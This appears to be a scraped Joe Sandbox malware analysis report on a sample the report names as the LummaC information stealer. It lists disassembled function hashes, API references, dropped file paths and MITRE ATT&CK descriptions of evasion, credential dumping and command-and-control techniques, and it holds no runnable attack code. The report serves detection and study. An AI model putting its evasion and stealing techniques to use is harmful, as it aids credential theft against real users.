Instruction ID: 406349337e2720d1c882b623ac75ef62643c72c13a7f183dc60ea46d8093d2ec
Opcode Fuzzy Hash: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction Fuzzy Hash: A9D05B21948321465B648D199400977F7E0FA87711F45656FF982D3254D234DC41C2AD

Function 0040F345 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cce6e5a9b1187edf9050197e767982aba5c70abdbb5d6a67204e9a97dfe04b0
Instruction ID: a0fc4d066b209943d87907f808e35cd7e4db14fd5a36bf8cde9c7d9203e5739d
Opcode Fuzzy Hash: 5cce6e5a9b1187edf9050197e767982aba5c70abdbb5d6a67204e9a97dfe04b0
Instruction Fuzzy Hash: 39D06271A1441A8FCB18CF6DCD409BEF7B5BE96301B09A6659025DB295EB30E5148644

Function 0042A593 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3973ddca8f26cb903ea449fb56e2107df1dfe7e314b31ecb2f87ded3017a1f1
Instruction ID: e75702912f7a73cba57e5976f8cd436e279ef2adfeaed57356928004743b3b97
Opcode Fuzzy Hash: e3973ddca8f26cb903ea449fb56e2107df1dfe7e314b31ecb2f87ded3017a1f1
Instruction Fuzzy Hash: 38B092E9C0281086D0513BA23C02AAAB064195320CF042036E90A32243A72ED21F409F

Function 00410BB6 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81670a65e88d0cdfa560c12bda757ecbe3d249f1b492077bc305510e417da0f5
Instruction ID: 1e3016d1d5d503d74b52ba7f01ceef03ff8bcb4f2c6887d4410395c1ee560280
Opcode Fuzzy Hash: 81670a65e88d0cdfa560c12bda757ecbe3d249f1b492077bc305510e417da0f5
Instruction Fuzzy Hash: 8AC09B15D5C0804ED345CF1058751F05F24552714CF1C306E8556D7553D605C113C70D

Function 00436559 Relevance: 49.2, APIs: 1, Strings: 27, Instructions: 194memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00436609

Strings

#, xrefs: 0043663F
e, xrefs: 00436807
F, xrefs: 00436597
5, xrefs: 004366E7
j, xrefs: 00436777
G, xrefs: 0043658F
0, xrefs: 0043694A
t, xrefs: 00436827
m, xrefs: 004367C7
;, xrefs: 00436707
%, xrefs: 0043664F
W, xrefs: 00436717
^, xrefs: 00436727
!, xrefs: 0043662F
), xrefs: 004366D7
}, xrefs: 00436817
), xrefs: 00436757
', xrefs: 0043665F
h, xrefs: 004367D7
y, xrefs: 00436847
., xrefs: 00436677
K, xrefs: 0043656F
E, xrefs: 0043659F
f, xrefs: 004367B7
&, xrefs: 004366C7
l, xrefs: 00436797
I, xrefs: 0043657F

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: AllocString
String ID: !$#$%$&$'$)$)$.$0$5$;$E$F$G$I$K$W$^$e$f$h$j$l$m$t$y$}
API String ID: 2525500382-909441541
Opcode ID: 2a6b192ac4ed0cce775719bfa892da8a2fe5591301031f9826e3751c2d43d799
Instruction ID: 201381b965fb42d57d0257f9e5a00960b098af9a9f309e5a6a790de23955b1ce
Opcode Fuzzy Hash: 2a6b192ac4ed0cce775719bfa892da8a2fe5591301031f9826e3751c2d43d799
Instruction Fuzzy Hash: 04B1063150CBC28AD336863C98487DFAED11BE7328F188BADD1E94B2D2D6B90145C767

Function 00435E39 Relevance: 33.3, APIs: 2, Strings: 17, Instructions: 76COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00435E43
VariantInit.OLEAUT32 ref: 00435E56

Strings

i, xrefs: 00435EFC
k, xrefs: 00435EEC
m, xrefs: 00435F1C
s, xrefs: 00435F2C
>, xrefs: 00435EE4
g, xrefs: 00435ECC
a, xrefs: 00435EBC
q, xrefs: 00435F3C
u, xrefs: 00435F5C
c, xrefs: 00435EAC
,, xrefs: 00435F24
z, xrefs: 00435F64
e, xrefs: 00435EDC
w, xrefs: 00435F4C
_, xrefs: 00435E74
o, xrefs: 00435F0C
{, xrefs: 00435F6C

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Variant$ClearInit
String ID: ,$>$_$a$c$e$g$i$k$m$o$q$s$u$w$z${
API String ID: 2610073882-3928692984
Opcode ID: a59f28c90c0ad03e0f47b94ee8f84a09c099c02eb2988e8cff5067ff22b26a01
Instruction ID: bd81ba4ceb9fbe0b5e70cdf877511d58f3267c5b0d7115c4485707a14669d6c2
Opcode Fuzzy Hash: a59f28c90c0ad03e0f47b94ee8f84a09c099c02eb2988e8cff5067ff22b26a01
Instruction Fuzzy Hash: 6D41F82050D7C1CDE332C73C9858B9BBED26BA6218F084AADD0D9876D6D7B901498727

Function 0043574C Relevance: 19.3, APIs: 2, Strings: 9, Instructions: 89COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00435756
VariantInit.OLEAUT32 ref: 00435769

Strings

y, xrefs: 0043582C
:, xrefs: 004357E4
5, xrefs: 00435798
, xrefs: 00435784
+, xrefs: 004357D4
1, xrefs: 004357A2
R, xrefs: 004357B6
#, xrefs: 00435814
+, xrefs: 004357C0

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Variant$ClearInit
String ID: $#$+$+$1$5$:$R$y
API String ID: 2610073882-2489440055
Opcode ID: 59e3bf10b89bfffaac53e980a493e0541ca72c27bde5546fbf384eb6f4fcbf14
Instruction ID: 7adea1189b9d2899e86cfbfd75371cacccc94584c9b73bede33c9e77b3e204de
Opcode Fuzzy Hash: 59e3bf10b89bfffaac53e980a493e0541ca72c27bde5546fbf384eb6f4fcbf14
Instruction Fuzzy Hash: 4E412A6150CBC18ED335AB38844839FBFD16BA6314F188A9DE5E5873E2CB74800ADB57

Function 00435C86 Relevance: 19.3, APIs: 2, Strings: 9, Instructions: 87COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00435C97
VariantInit.OLEAUT32 ref: 00435CAA

Strings

R, xrefs: 00435CF7
+, xrefs: 00435D15
#, xrefs: 00435D55
, xrefs: 00435CC5
1, xrefs: 00435CE3
y, xrefs: 00435D6D
+, xrefs: 00435D01
5, xrefs: 00435CD9
:, xrefs: 00435D25

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: Variant$ClearInit
String ID: $#$+$+$1$5$:$R$y
API String ID: 2610073882-2489440055
Opcode ID: f0a429a189294ed03afcd11ccc086267a9569da1e652b7a0cc2ff71237374a81
Instruction ID: 265269d8252d7e8f7c9ca00c1f24ad95b5395bdf85d5f6e6ceb7d4d2e0c635a8
Opcode Fuzzy Hash: f0a429a189294ed03afcd11ccc086267a9569da1e652b7a0cc2ff71237374a81
Instruction Fuzzy Hash: 2741FA6150CBC18ED3329B38844839FBFD16BA6314F188E9DE5E58B2E2C775810ADB57

Function 0042A5BC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 174COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 0042A726

Strings

Gt, xrefs: 0042A789
L_, xrefs: 0042A6F6

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: DrivesLogical
String ID: Gt$L_
API String ID: 999431828-1375530031
Opcode ID: 1a6be90d356bee28258b8c4b1b5cbc905d3916c5a1710fa8385e560bdaae87ba
Instruction ID: 71d07980d51fba32441b4c7d850694f1eaa7d290076b2809f47af00d58fe155e
Opcode Fuzzy Hash: 1a6be90d356bee28258b8c4b1b5cbc905d3916c5a1710fa8385e560bdaae87ba
Instruction Fuzzy Hash: EE5151B46193819FD310DF65A99061BBBF0EF96344F848A2DE9D58B350D3788905CB8B

Function 004209AA Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

FindWindowExW.USER32(00000000,?,Y~,00000000), ref: 00420A82
FindWindowExW.USER32(00000000,00000000,Y~,00000000), ref: 00420B62

Strings

Y~, xrefs: 00420A30

Memory Dump Source

Source File: 00000002.00000002.2038546385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_BitLockerToGo.jbxd

Similarity

API ID: FindWindow
String ID: Y~
API String ID: 134000473-649834763
Opcode ID: d624f99e04a35acac8017a6fe6ab58c5cb885d9f92a1c585014e816abfd08046
Instruction ID: 409c0a10e8c2f64c9234f1f3cee7d592946007bc94705be4b9665bc431326c51
Opcode Fuzzy Hash: d624f99e04a35acac8017a6fe6ab58c5cb885d9f92a1c585014e816abfd08046
Instruction Fuzzy Hash: E731927555C3908AD378CF51D4867CBFBA0EFAA314F048A2CD9D85B242D7B919058FC6

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report HLZwUhcJ28.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe

C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\Qt5GuiVBox.dll

C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\Qt5SqlVBox.dll

C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\Security-Common.dll

C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\VBoxClient-x86.dll

C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\VBoxProxyStub-x86.dll

C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\cygwin1.dll

C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\libiconv-2.dll

C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\libidn2-0.dll

C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\libintl-8.dll

C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\liblibimhex.dll.a

C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\liblibpl.dll.a

Windows Analysis Report
HLZwUhcJ28.exe

Function 00007FF70ECDDC4C Relevance: 154.6, APIs: 22, Strings: 66, Instructions: 610
libraryloaderCOMMON

Function 00007FF70ECF400C Relevance: 47.8, APIs: 22, Strings: 5, Instructions: 539
filesleeptimeCOMMON

Function 00007FF70ECDA8AC Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 250
COMMON

Function 00007FF70ECEC260 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 101
memorywindowCOMMON

Function 00007FF70ECD647C Relevance: 10.7, APIs: 7, Instructions: 153
fileCOMMON

Function 00007FF70ECF5390 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 195
libraryCOMMONLIBRARYCODE

Function 00007FF70ECF3030 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 285
windowCOMMON

Function 00007FF70ECF2BF4 Relevance: 16.6, APIs: 11, Instructions: 102
windowCOMMON

Function 00007FF70ECE218C Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 7
COMMON

Function 00007FF70ECD46A0 Relevance: 9.2, APIs: 6, Instructions: 164
filetimeCOMMON

Function 00007FF70ECDE7C0 Relevance: 9.1, APIs: 6, Instructions: 80
timeCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre